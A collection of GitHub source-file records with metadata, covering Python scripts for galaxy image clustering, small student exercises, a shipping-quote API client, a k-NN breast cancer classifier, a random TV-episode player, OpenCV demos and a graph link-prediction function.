to_df(image_data)\n df.to_csv(scored_images_df_out, index_label='id')\n\n\ndef generate_labeled_images_info_file(background_threshold=4):\n \"\"\"\n Generates a cluster information file for the labeled images, stores it in `../data/labeled_info.pkl`\n Currently it only considers real images.\n \"\"\"\n labels_df = pd.read_csv(labels_path, index_col='Id')\n labels_df.index = labels_df.index.astype(str)\n labels_df = labels_df[labels_df.Actual == 1.0]\n\n real_image_ids = labels_df.index.values\n image_data = {}\n for ind, image_id in enumerate(tqdm(real_image_ids)):\n image_path = os.path.join(labeled_images_dir, \"{}.png\".format(image_id))\n img = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE)\n\n data = extract_image_information(img, background_threshold=background_threshold)\n image_data[image_id] = data\n\n print(\"Saving pkl to: {}\".format(labeled_images_pkl_out))\n with open(labeled_images_pkl_out, 'wb') as f:\n pickle.dump(image_data, f)\n\n\ndef extract_all_information_query(images_dir):\n \"\"\"\n Generates a cluster information file for the query images. Used only for extracting features for simple cluster-based\n feature regressor.\n @param images_dir: path to directory containing query images\n @type images_dir: str\n @return: a dictionary of dictionaries of properties {img_id: {property1: value, .., property_n: value}}\n @rtype: dict\n \"\"\"\n image_data = {}\n scored_image_ids = [x.replace('.png', '') for x in os.listdir(images_dir)]\n for ind, image_id in enumerate(tqdm(scored_image_ids)):\n # if ind == 4:\n # break\n image_path = os.path.join(images_dir, \"{}.png\".format(image_id))\n img = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE)\n\n data = extract_image_information(img)\n image_data[image_id] = data\n\n return image_data\n\n\ndef extract_image_information(img, background_threshold=None):\n if background_threshold is None:\n background_threshold = estimate_background_intensity_threshold(img, background_pixels_ratio=0.8)\n\n data = {}\n # pixel_intensity_hist = pixel_intensity_histogram(img)\n galaxy_pixels, _ = get_galaxy_pixels(img, threshold=background_threshold)\n clusters = Cluster.find_clusters(img, galaxy_pixels)\n data['background_threshold'] = background_threshold\n # data['pixel_intensity_hist'] = pixel_intensity_hist\n data.update({\n 'cluster_num': len(clusters),\n 'cluster_sizes': [cluster.size() for cluster in clusters],\n 'cluster_peak_intensities': [cluster.get_intensity() for cluster in clusters],\n 'cluster_num_intensities': [cluster.num_intensities() for cluster in clusters],\n 'cluster_centers': [cluster.get_center_pixel() for cluster in clusters]\n })\n return data\n\n\ndef update_df(df):\n scored_image_ids = [x.replace('.png', '') for x in os.listdir(scored_images_dir)]\n # df['num_zero_pixels'] = 0\n for ind, image_id in enumerate(tqdm(scored_image_ids)):\n image_path = os.path.join(scored_images_dir, \"{}.png\".format(image_id))\n img = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE)\n df.at[int(image_id), 'num_zero_pixels'] = num_background_pixels(img)\n print(df.at[int(image_id), 'num_zero_pixels'])\n\n df.num_zero_pixels = df.num_zero_pixels.astype(int)\n df.to_csv(scored_images_df_out, index_label='id')\n\n\ndef load_scored_info(format='df'):\n if format == 'pkl':\n with open(scored_images_pkl_out, 'rb') as f:\n data = pickle.load(f)\n return data\n else:\n df = pd.read_csv(scored_images_df_out, index_col='id')\n return df\n\n\n# util function\ndef get_values_for(data, key):\n return [data[key] for data in data.values()]\n\n\ndef to_df_query(data):\n \"\"\"\n Converts the data dict for query images to pd.DataFrame\n \"\"\"\n df = pd.DataFrame(index=list(data.keys()))\n df.index.name = 'Id'\n\n df['background_threshold'] = get_values_for(data, 'background_threshold')\n df.background_threshold = df.background_threshold.astype(int)\n\n df['cluster_num'] = get_values_for(data, 'cluster_num')\n df.cluster_num = df.cluster_num.astype(int)\n\n df['cluster_sizes'] = get_values_for(data, 'cluster_sizes')\n df['cluster_peak_intensities'] = get_values_for(data, 'cluster_peak_intensities')\n df['cluster_num_intensities'] = get_values_for(data, 'cluster_num_intensities')\n df['cluster_centers'] = get_values_for(data, 'cluster_centers')\n\n return df\n\n\ndef to_df(data):\n \"\"\"\n Converts the data dict for query images to pd.DataFrame\n \"\"\"\n df = pd.DataFrame([data['score'] for data in data.values()],\n columns=['score'],\n index=list(data.keys()))\n df.score = df.score.astype('float')\n\n df['background_threshold'] = get_values_for(data, 'background_threshold')\n df.background_threshold = df.background_threshold.astype(int)\n\n df['cluster_num'] = get_values_for(data, 'cluster_num')\n df.cluster_num = df.cluster_num.astype(int)\n\n df['cluster_sizes'] = get_values_for(data, 'cluster_sizes')\n df['cluster_peak_intensities'] = get_values_for(data, 'cluster_peak_intensities')\n df['cluster_num_intensities'] = get_values_for(data, 'cluster_num_intensities')\n df['cluster_centers'] = get_values_for(data, 'cluster_centers')\n\n return df\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Creates a file containing galaxy information about the labeled or scored images.')\n parser.add_argument('--dataset', type=str, choices=['scored', 'labeled'], default='scored', help='scored or labeled dataset')\n parser.add_argument('--background_threshold', type=int, default=None, help='minimum pixel intensity (0-255) for a '\n 'pixel to be considered as part of a '\n 'galaxy, or None (to automatically computer'\n 'the threshold')\n parser.add_argument('--min_score', type=float, default=None, help='disregard fake images i.e images with score < min_score,'\n 'used only if dataset is scored. Has no effect on'\n 'labeled images.')\n parser.add_argument('--update_only', action='store_true', help='If true, will only update the old scored information'\n 'file with new cluster properties.')\n\n args = parser.parse_args()\n\n if args.update_only:\n df = load_scored_info(format='df')\n update_df(df)\n sys.exit()\n\n if args.dataset == 'scored':\n generate_scored_images_info_file(args.min_score, background_threshold=args.background_threshold)\n else:\n generate_labeled_images_info_file(background_threshold=args.background_threshold)","repo_name":"Simeonedef/Galaxy-Image-Gen","sub_path":"analysis/generate_cluster_information_file.py","file_name":"generate_cluster_information_file.py","file_ext":"py","file_size_in_byte":9318,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"37542567080","text":"import random\r\n\r\nprint(\"Aby rzucić wciśnij r\\nAby zakończyć program wciśnij q\")\r\nwhile(True):\r\n znak = input()\r\n if znak == \"r\":\r\n wylosowana = random.randint(1,6)\r\n print(\"Wylosowana liczba to:\", wylosowana)\r\n elif znak == \"q\":\r\n print(\"Koniec pogramu!\")\r\n break","repo_name":"whiae/python-prog","sub_path":"zaj6-random/zad3-kostka.py","file_name":"zad3-kostka.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33393944169","text":"'''\nUFCG\nPROGRAMAÇÃO 1\nJOSE ARTHUR NEVES DE BRITO - 119210204 \nSeleção Projeto\n'''\n\ncre = float(input())\nexperiencia = int(input())\nnota = int(input())\n\nif(cre < 7 and experiencia < 6):\n\tprint('Candidato eliminado. CRE e experiência abaixo do limite.')\nelif(cre < 7 and experiencia >= 6):\n\tprint('Candidato eliminado. CRE abaixo do limite.')\nelif(cre >= 7 and experiencia < 6):\n\tprint('Candidato eliminado. Experiência abaixo do limite.')\nelse:\n\tif(nota <= 3):\n\t\tprint('Candidato classificado.')\n\telse:\n\t\tprint('Candidato aprovado.')\n\t\t\n","repo_name":"Arthurnevs/Atividades-LP1","sub_path":"E3-master/E3-master/Exercicios/selecao_projeto/selecao.py","file_name":"selecao.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19206322031","text":"from django.conf import settings\nimport requests\nimport json\n\nheaders = {\n 'Authorization': settings.MELHOR_ENVIO_TOKEN,\n 'Content-Type': 'application/json',\n 'Accept': 'application/json',\n 'User-Agent': 'LikeEstampa (likeestampa@gmail.com)',\n}\n\nBASE_URL = settings.MELHOR_ENVIO_BASE_URL\n\n\ndef get_cotacao_frete(items, cep_origem, cep_destino):\n url = BASE_URL + '/api/v2/me/shipment/calculate'\n\n item_data = []\n for item in items: \n item_data.append({\n \"id\": item.produto.slug,\n \"width\": 15,\n \"height\": 4,\n \"length\": 15,\n \"weight\": 0.180,\n \"insurance_value\": 0, #float(item.produto.preco_base),\n \"quantity\": item.quantidade\n })\n\n payload = json.dumps({\n \"from\": {\n \"postal_code\": cep_origem\n },\n \"to\": {\n \"postal_code\": cep_destino\n },\n \"products\": item_data\n })\n\n r = requests.post(url, data=payload, headers=headers)\n return json.loads(r.text)\n","repo_name":"leonardocintra/likeestampa.com.br","sub_path":"services/melhorenvio/melhorenvio.py","file_name":"melhorenvio.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"69"} +{"seq_id":"42304658010","text":"lungime_saritura = float(input(\"Lungimea initiala a sariturii este \"))\r\nnumar_secunde = float(input(\"Numarul de secunde dupa care iepurasul isi injumatateste saltul este \"))\r\ntimp_total = float(input(\"Durata totala a deplasarii iepurasului este \"))\r\n\r\ndistanta_totala = 0\r\n\r\nwhile(timp_total > numar_secunde):\r\n distanta_totala = distanta_totala + (numar_secunde * lungime_saritura)\r\n lungime_saritura = lungime_saritura / 2\r\n timp_total = timp_total - numar_secunde\r\ndistanta_totala += (timp_total * lungime_saritura)\r\n\r\nprint(\"Distanta totala parcursa de iepuras este \", distanta_totala)\r\n","repo_name":"ArlieAdmiral/Exercices_Python","sub_path":"Problema01_Iepurasul.py","file_name":"Problema01_Iepurasul.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"ro","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"72457659420","text":"\nclass EmptyStack(Exception):\n pass\n\n\nclass Stack(object):\n\n def __init__(self):\n object.__init__(self)\n self.__cell = []\n self.__size = 0\n\n def top(self):\n \"\"\"Returns the top of the stack.\"\"\"\n if not self.__cell:\n raise EmptyStack()\n else:\n return self.__cell[0]\n\n def push(self, obj):\n \"\"\"Pushes an element onto the stack.\"\"\"\n self.__cell = [obj, self.__cell]\n self.__size += 1\n\n def pop(self):\n \"\"\"Pops the top off of the stack.\"\"\"\n if not self.__cell:\n raise EmptyStack()\n else:\n self.__cell = self.__cell[1]\n self.__size -= 1\n\n def __len__(self):\n return self.__size\n\n def __get_size(self):\n return self.__size\n\n size = property(__get_size, doc=\"The size of the stack.\")\n\n###############################################################################\n\nimport unittest\n\nclass TestStack(unittest.TestCase):\n\n def test_basic(self):\n s = Stack()\n self.assertEquals(s.size, 0)\n s.push(10)\n self.assertEquals(s.top(), 10)\n self.assertEquals(len(s), 1)\n s.pop()\n self.assertEquals(len(s), 0)\n self.assertEquals(0, s.size)\n\n def test_pop_empty_raises(self):\n s = Stack()\n self.assertRaises(EmptyStack, s.pop)\n\n def test_top_empty_raises(self):\n s = Stack()\n self.assertRaises(EmptyStack, s.top)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"gzt200361/ThirdParty-2.0.0","sub_path":"ParaView-3.10.1/Plugins/VisTrails/vistrails/core/data_structures/stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14623901703","text":"from random import randint\n \nrobot=randint(1,6)\nescolha=1\nacertos=0\njogadas=0\n \nwhile escolha!=0:\n escolha=int(input('Digite 0 para sair ou escolha um número entre 1-6: '))\n if escolha in [1,2,3,4,5,6]:\n jogadas+=1\n if escolha==robot:\n print('Acertou!')\n acertos = acertos + 1\n else:\n print('Errou!')\n else:\n print('Escolha inválida. Acabou!')\n break\n \nprint(f'Número de jogadas: {jogadas}') \nprint(f'Números de acertos: {acertos}')\n","repo_name":"rafamends/Dado","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"70900208860","text":"# fit_breast_cancer_classifier.py\n# author: Tiffany Timbers\n# date: 2023-11-27\n\nimport click\nimport os\nimport altair as alt\nimport numpy as np\nimport pandas as pd\nimport pickle\nfrom sklearn import set_config\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import fbeta_score, make_scorer\nfrom joblib import dump\n\n@click.command()\n@click.option('--training-data', type=str, help=\"Path to training data\")\n@click.option('--preprocessor', type=str, help=\"Path to preprocessor object\")\n@click.option('--columns-to-drop', type=str, help=\"Optional: columns to drop\")\n@click.option('--pipeline-to', type=str, help=\"Path to directory where the pipeline object will be written to\")\n@click.option('--plot-to', type=str, help=\"Path to directory where the plot will be written to\")\n@click.option('--seed', type=int, help=\"Random seed\", default=123)\n\ndef main(training_data, preprocessor, columns_to_drop, pipeline_to, plot_to, seed):\n '''Fits a breast cancer classifier to the training data \n and saves the pipeline object.'''\n np.random.seed(seed)\n set_config(transform_output=\"pandas\")\n\n # read in data & preprocessor\n cancer_train = pd.read_csv(training_data)\n cancer_preprocessor = pickle.load(open(preprocessor, \"rb\"))\n\n if columns_to_drop:\n to_drop = pd.read_csv(columns_to_drop).feats_to_drop.tolist()\n cancer_train = cancer_train.drop(columns=to_drop)\n\n # tune model (here, find K for k-nn using 30 fold cv)\n knn = KNeighborsClassifier()\n cancer_tune_pipe = make_pipeline(cancer_preprocessor, knn)\n\n parameter_grid = {\n \"kneighborsclassifier__n_neighbors\": range(1, 100, 3),\n }\n\n cv = 30\n cancer_tune_grid = GridSearchCV(\n estimator=cancer_tune_pipe,\n param_grid=parameter_grid,\n cv=cv,\n scoring=make_scorer(fbeta_score, pos_label='Malignant', beta=2)\n )\n\n cancer_fit = cancer_tune_grid.fit(\n cancer_train.drop(columns=[\"class\"]),\n cancer_train[\"class\"]\n )\n\n with open(os.path.join(pipeline_to, \"cancer_pipeline.pickle\"), 'wb') as f:\n pickle.dump(cancer_fit, f)\n\n accuracies_grid = pd.DataFrame(cancer_fit.cv_results_)\n\n accuracies_grid = (\n accuracies_grid[[\n \"param_kneighborsclassifier__n_neighbors\",\n \"mean_test_score\",\n \"std_test_score\"\n ]]\n .assign(\n sem_test_score=accuracies_grid[\"std_test_score\"] / cv**(1/2),\n # `lambda` allows access to the chained dataframe so that we can use the newly created `sem_test_score` column \n sem_test_score_lower=lambda df: df[\"mean_test_score\"] - (df[\"sem_test_score\"]/2),\n sem_test_score_upper=lambda df: df[\"mean_test_score\"] + (df[\"sem_test_score\"]/2)\n )\n .rename(columns={\"param_kneighborsclassifier__n_neighbors\": \"n_neighbors\"})\n .drop(columns=[\"std_test_score\"])\n )\n\n line_n_point = alt.Chart(accuracies_grid, width=600).mark_line(color=\"black\").encode(\n x=alt.X(\"n_neighbors\").title(\"Neighbors\"),\n y=alt.Y(\"mean_test_score\")\n .scale(zero=False) \n .title(\"F2 score (beta = 2)\")\n )\n\n error_bar = alt.Chart(accuracies_grid).mark_errorbar().encode(\n alt.Y(\"sem_test_score_upper:Q\").scale(zero=False).title(\"F2 score (beta = 2)\"),\n alt.Y2(\"sem_test_score_lower:Q\"),\n alt.X(\"n_neighbors:Q\").title(\"Neighbors\")\n )\n\n plot = line_n_point + line_n_point.mark_circle(color='black') + error_bar\n plot.save(os.path.join(plot_to, \"cancer_choose_k.png\"), scale_factor=2.0)\n\nif __name__ == '__main__':\n main()","repo_name":"ttimbers/breast_cancer_predictor_py","sub_path":"scripts/fit_breast_cancer_classifier.py","file_name":"fit_breast_cancer_classifier.py","file_ext":"py","file_size_in_byte":3687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11658545175","text":"#!/bin/python\n\nimport os,random, sqlite3, datetime, time, argparse\n#from datetime import datetime\n\nnow = datetime.datetime.now()\ndate = now.strftime(\"%Y-%m-%d\")\n\ndef main():\n #parse command line options\n parser = argparse.ArgumentParser()\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\"-r\", \"--rando\", help=\"choose a random episode (this is the default behavior)\", action=\"store_true\")\n group.add_argument(\"-p\", \"--proximity\", help=\"choose an episode based on the proximity of the internal episode datetime to the current real-world datetime\", action=\"store_true\")\n parser.add_argument(\"-t\", \"--test\", help=\"use a duplicate test database instead of the regular one\", action=\"store_true\")\n parser.add_argument(\"-c\", \"--check\", help=\"check to see if the episode has been played recently and skip it if it has\", action=\"store_true\")\n args = parser.parse_args()\n\n#connect to DB\n if args.test:\n conn = sqlite3.connect('Wildcard-test.db')\n else:\n conn = sqlite3.connect('Wildcard.db')\n\n\n def playshow(chosen_episode):\n\n#Everywhere else in the program, I tried to set it up so that if the program couldnt choose an episode number, I set it 500 which is obviously out of range\n#Here you can figure out what to do if the program was unable to find a suitable episode. the best behavior I can think of is to just play episode 45 instead, because it's the best episode there is\n#optionally, you could just have the program tell the user to be less selective and then quit gracefully, but that's not as much fun, is it?\n if chosen_episode==500:\n print(\"you somehow managed not to get an episode, so you're watching nightman. enjoy!\")\n chosen_episode=45\n\n showdata=dbdata(chosen_episode)\n\n sd_shownumber=showdata[0]\n sd_season=showdata[1]\n sd_episode=showdata[2]\n sd_lastviewed=showdata[3]\n sd_tbc=showdata[4]\n sd_rating=showdata[5]\n sd_title=showdata[6]\n sd_synopsis=showdata[7]\n sd_eday=showdata[8]\n sd_ehour=showdata[9]\n\n videofile=\"{}{}\".format(str(sd_season).zfill(2),str(sd_episode).zfill(2))\n\n print(\"\\'{}\\'\".format(sd_title))\n print(\"Season {}, Episode {}. Show number {}\".format(sd_season,sd_episode,sd_shownumber))\n print(\"Synopsis:{}\\n\\n\".format(sd_synopsis))\n\n input(\"Press Enter to continue...\")\n \n dbupdate(sd_shownumber)\n\n #timed countdown\n #print(\"Playing in 5...\")\n #time.sleep(1)\n #print(\"4...\")\n #time.sleep(1)\n #print(\"3...\")\n #time.sleep(1)\n #print(\"2...\")\n #time.sleep(1)\n #print(\"1...\")\n #time.sleep(1)\n mediaplayer(videofile)\n\n def mediaplayer(file):\n command=str(\"mplayer {}.*\".format(file))\n os.system(command)\n\n def randepisode():\n randshow=str(random.randint(1,132))\n return randshow\n\n def proxepisode():\n #get the current day of the week\n dow = now.strftime(\"%A\")\n\n #pull all entries from the databse where the internal show date is the same as the current real world date. add all data from each row to a list\n proxrow=[]\n c = conn.cursor()\n c.execute(\"SELECT * FROM Sunny WHERE epday=?\", (dow,))\n while True:\n row = c.fetchone()\n if row == None:\n break\n #append overall episode number (out of 132)\n proxrow_episodedata=[]\n proxrow_episodedata.append(row[0])\n proxrow_episodedata.append(row[1])\n proxrow_episodedata.append(row[2])\n proxrow_episodedata.append(row[3])\n proxrow_episodedata.append(row[4])\n proxrow_episodedata.append(row[5])\n proxrow_episodedata.append(row[6])\n proxrow_episodedata.append(row[7])\n proxrow_episodedata.append(row[8])\n proxrow_episodedata.append(row[9])\n\n proxrow.append(proxrow_episodedata)\n\n #this is getting tricky to keep straight because proxrow is a list that contains lists which contain episode data. to access episode numbers you could do this:\n #for listitem in proxrow:\n #print(listitem[0])\n\n #check the current time of day\n miltime = now.strftime(\"%H:%M\")\n realtime=datetime.datetime.strptime(miltime, '%H:%M')\n\n #decide which of the pulled shows have an internal time of day that is closest to the current real world time of day\n \n candidates=[]\n for listitem in proxrow:\n episodetime=datetime.datetime.strptime(listitem[9], '%H:%M')\n episodetime_difference=realtime-episodetime\n secondsapart=episodetime_difference.seconds\n \n pair=[secondsapart,listitem[0]]\n candidates.append(pair)\n #print(\"episode {} takes place at {}, which is {} seconds away from the current time ({})\".format(listitem[0], listitem[9], secondsapart, miltime))\n #print(candidates)\n candidates_sorted=sorted(candidates)\n\n #if check option is set then use it\n if args.check:\n newepisode=\"no\"\n for pair in candidates_sorted:\n# print(\"the closest episode is episode {} which takes place {} seconds from the current time\\n\\n\".format(candidates_sorted[0][1],candidates_sorted[0][0]))\n print(\"\\nthe closest episode is episode {} which takes place {} seconds from the current time\".format(pair[1],pair[0]))\n chosen_episode=pair[1]\n newepisode=dbcheck(chosen_episode)\n if newepisode==\"yes\":\n return pair[1]\n if newepisode==\"no\":\n return 500 \n else:\n #set proxshow= the episode number determined in the previous step\n proxshow=str(candidates_sorted[0][1])\n #return chosen episode\n return proxshow\n\n def dbdata(chosen_episode):\n #gets data about a specified episode from the database\n \n sunnyrow=[]\n c = conn.cursor()\n c.execute(\"SELECT * FROM Sunny WHERE enumber=?\", (chosen_episode,))\n while True:\n row = c.fetchone()\n if row == None:\n break\n #append overall episode number (out of 132)\n sunnyrow.append(row[0])\n\n #append season number\n sunnyrow.append(row[1])\n\n #append episode number (within season)\n sunnyrow.append(row[2])\n\n #append date last viewed\n sunnyrow.append(row[3])\n\n #append to be continued status (TBC)\n sunnyrow.append(row[4])\n\n #append rating\n sunnyrow.append(row[5])\n\n #append episode title\n sunnyrow.append(row[6])\n\n #append episode synopsis\n sunnyrow.append(row[7])\n\n #append internal episode day\n sunnyrow.append(row[8])\n\n #append internal episode time\n sunnyrow.append(row[9])\n\n return sunnyrow\n\n def dbcheck(chosen_episode):\n\n c = conn.cursor()\n c.execute(\"SELECT * FROM Sunny WHERE enumber=?\", (chosen_episode,))\n while True:\n row = c.fetchone()\n if row == None:\n break\n #append overall episode number (out of 132)\n lastviewed=row[3]\n\n\n #convert date in database from string to datetime object\n episode_datetime = datetime.datetime.strptime(lastviewed, '%Y-%m-%d')\n\n #figure out the difference (in days) between the last date the episode was played and the current date\n episode_datetime_difference=now-episode_datetime\n dayssince=episode_datetime_difference.days\n\n print(\"episode {} was last played {} days ago\".format(chosen_episode,dayssince)) \n\n if dayssince > 30:\n return \"yes\"\n else:\n return \"no\"\n\n def dbupdate(chosen_episode):\n #update date last played\n c = conn.cursor()\n c.execute(\"UPDATE Sunny SET lastviewed = (?) WHERE enumber = (?)\", (date, chosen_episode))\n conn.commit()\n conn.close\n\n if args.proximity:\n print(\"\\n\\nchoosing an episode based on the proximity of the internal episode datetime to the current real-world datetime\")\n chosen_episode=proxepisode()\n playshow(chosen_episode)\n elif args.rando:\n if args.check:\n newepisode=\"no\"\n counter=0\n while newepisode==\"no\":\n print(\"choosing an episode at random\")\n chosen_episode=randepisode()\n newepisode=dbcheck(chosen_episode)\n if counter > 150:\n chosen_episode=500\n newepisode=\"yes\"\n counter+=1\n playshow(chosen_episode)\n else:\n print(\"choosing an episode at random\")\n chosen_episode=randepisode()\n playshow(chosen_episode)\n else:\n print(\"specify either -p or -r. use -h for help\")\n \n\n \n\nif __name__ == '__main__':\n main()\n","repo_name":"cgr257/wildcard","sub_path":"Wildcard-1.0.py","file_name":"Wildcard-1.0.py","file_ext":"py","file_size_in_byte":8205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"15272266967","text":"from string import punctuation\nfrom os import listdir\nfrom utils.vocabulary import Vocabulary\nfrom nltk.corpus import stopwords\n\nclass DataClean(Vocabulary):\n\n @staticmethod\n def clean_doc(doc, vocab):\n tokens = doc.split()\n table = str.maketrans('', '', punctuation)\n tokens = [w.translate(table) for w in tokens]\n tokens = [w for w in tokens if w in vocab]\n tokens = ' '.join(tokens)\n\n return tokens\n\n\n def process_docs(self, directory, vocab, is_trian):\n documents = list()\n for filename in listdir(directory):\n if is_trian and filename.startswith('cv9'):\n continue\n if not is_trian and not filename.startswith('cv9'):\n continue\n path = directory + '/' + filename\n doc = super().loader(path)\n tokens = self.clean_doc(doc, vocab)\n documents.append(tokens)\n\n return documents\n ","repo_name":"shrenik-jain/sentiment-analysis","sub_path":"utils/dataclean.py","file_name":"dataclean.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"25013687704","text":"\n# put your python code here\nm=[]\nb=True\n#ввод данных\nwhile b:\n src = input()\n if(src=='end'):\n b = False\n break\n m += [[int(j) for j in src.split()]]\n#выходная матрица\nout=m.copy()\nfor i in range(len(m)):\n #out[i][j] = -m[i][j]\n out[i][j] = ''\n for di in range(-1,2):\n for dj in range(-1,2):\n ai=(i+di)%len(m) #координаты соседей\n aj=(j+dj)%len(m[0])\n out[i][j] += str(ai)+' '+str(aj)+' | '\nprint(out[2][2])\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#!/bin/python3\n","repo_name":"nartu/abstract-tasks","sub_path":"stepik_1/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"27762515375","text":"# 직사각형 네개의 합집합의 면적 구하기 #230802 #1648~1706\n# 축에 평행한 직사각형 4개, 얘네가 차지하는 면적 구하기\n# 겹쳐있을 수도, 포함할수도, 떨어져있을수도\n# 1<=x,y<=100\n\n# 오늘 한거랑 비슷한 내용인듯\n# 100 x 100 배열 만들고, 1이상인 곳만 면적세기\n# x, y좌표 반대, 위아래도 반대지만 노상관\n# 더 나은코드로 만들어보자?\n\narr = [[0]*101 for _ in range(101)] \n# x,y가 100까지라서 그냥 101로 함. 인덱스범위 모르겠어서\narea = 0 # 구할 면적\n\nfor _ in range(4): # 4 rectangles\n x1, y1, x2, y2 = map(int, input().split())\n for i in range(x1, x2):\n for j in range(y1, y2):\n arr[i][j] += 1\n # 사각형 만큼 칠하기\n\n# test\n# for i in range(0,10):\n# for j in range(0, 10):\n# print(arr[i][j], end=' ')\n# print()\n# \n\nfor i in range(0,101):\n for j in range(0, 101):\n if arr[i][j] > 0:\n area += 1 \n# 배열 돌면서 면적 계산하기\nprint(area)\n\n","repo_name":"kyb99/Algorithm_study","sub_path":"yeonbin/day2/2669_cal_area.py","file_name":"2669_cal_area.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"6995446339","text":"import cv2 as cv\r\nimport numpy as np\r\n\r\n# 色彩空间相互转换API\r\ndef color_space_demo(image):\r\n gray = cv.cvtColor(image,cv.COLOR_BGR2GRAY)\r\n cv.imshow(\"gray\",gray)\r\n hsv = cv.cvtColor(image,cv.COLOR_BGR2HSV)\r\n cv.imshow(\"hsv\",hsv)\r\n yuv = cv.cvtColor(image,cv.COLOR_BGR2YUV)\r\n cv.imshow(\"yuv\",yuv)\r\n ycrcb = cv.cvtColor(image,cv.COLOR_BGR2YCrCb)\r\n cv.imshow(\"ycrcb\",ycrcb)\r\n# 视频播放\r\ndef extrace_object_demo():\r\n print(\"asda\")\r\n capture = cv.VideoCapture(\"D:/opencvwen/python_shipin.mp4\")\r\n while(True):\r\n ret,frame = capture.read()\r\n if ret==False:\r\n break;\r\n hsv = cv.cvtColor(frame,cv.COLOR_BGR2HSV)\r\n # 对绿色进行二值化\r\n lower_hsv = np.array([37,43,46])#先进性设置hsv的最小值\r\n upper_hsv = np.array([77,255,255])#设置hsv的最大值\r\n mask = cv.inRange(hsv,lowerb=lower_hsv,upperb=upper_hsv)\r\n dst = cv.bitwise_and(frame,frame,mask=mask)\r\n cv.imshow(\"video\",frame)#正常播放\r\n cv.imshow(\"mask\",dst)#二值化后播放\r\n c= cv.waitKey(40)\r\n if c == 27:\r\n break;\r\n\r\nprint(\"---------------Hello Python--------------\")\r\nsrc = cv.imread(\"juxing1.PNG\")\r\ncv.namedWindow(\"input image\",cv.WINDOW_AUTOSIZE)\r\ncv.imwrite(\"D:/opencvwen/s_a.jpg\", src)\r\n# cv.imshow(\"input image\",src)\r\n\r\n# b,g,r = cv.split(src)#通道分离\r\n# cv.imshow(\"blue\",b)\r\n# cv.imshow(\"green\",g)\r\n# cv.imshow(\"red\",r)\r\n# extrace_object_demo()\r\n# src[:,:,0] = 0#通道赋值\r\n#\r\n# src = cv.merge([b,g,r])#通道合并\r\n# color_space_demo(src)\r\n# cv.imshow(\"changed image\",src)\r\ncv.waitKey(0)\r\n\r\ncv.destroyAllWindows()","repo_name":"zw161917/python-Study","sub_path":"Opencv学习/学习3.py","file_name":"学习3.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"26281508940","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 29 10:48:54 2018\n\n@author: xsjxi\n\"\"\"\nimport networkx as nx\nimport math\n\ndef MI(G):\n #G = nx.read_edgelist(graph_file, nodetype=int)\n \n node_num = nx.number_of_nodes(G)\n edge_num = nx.number_of_edges(G)\n nodes = nx.nodes(G)\n sim_dict = {}\n\n beta = -math.log2(0.0001)\n \n # 首先计算$P(L^1_{xy})$,其实不需要计算顶点对之间的概率,只需要不同度之间的概率\n nodes_Degree_dict = {}\n degree_list = []\n for v in nodes:\n nodes_Degree_dict[v] = nx.degree(G, v)\n degree_list.append(nx.degree(G, v))\n \n degree_list = [nx.degree(G, v) for v in nodes]\n distinct_degree_list = list(set(degree_list))\n size = len(distinct_degree_list)\n \n self_Connect_dict = {}\n \n for x in range(size):\n k_x = distinct_degree_list[x]\n for y in range(x, size):\n k_y = distinct_degree_list[y]\n \n p0 = 1\n (k_n, k_m) = pair(k_x, k_y)\n a = edge_num + 1\n b = edge_num - k_m + 1\n for i in range(1, k_n + 1):\n p0 *= (b - i) / (a - i)\n # end for\n if p0 == 1:\n self_Connect_dict[(k_n, k_m)] = beta\n self_Connect_dict[(k_m, k_n)] = beta\n else:\n self_Connect_dict[(k_n, k_m)] = -math.log2(1 - p0)\n self_Connect_dict[(k_m, k_n)] = -math.log2(1 - p0)\n #print (str(k_n) + \",\" + str(k_m))\n #print (self_Connect_dict[(k_n, k_m)])\n \n self_Conditional_dict = {}\n for z in nodes:\n k_z = nodes_Degree_dict[z]\n if k_z > 1:\n alpha = 2 / (k_z * (k_z - 1))\n cc_z = nx.clustering(G, z)\n if cc_z == 0:\n log_c = beta\n 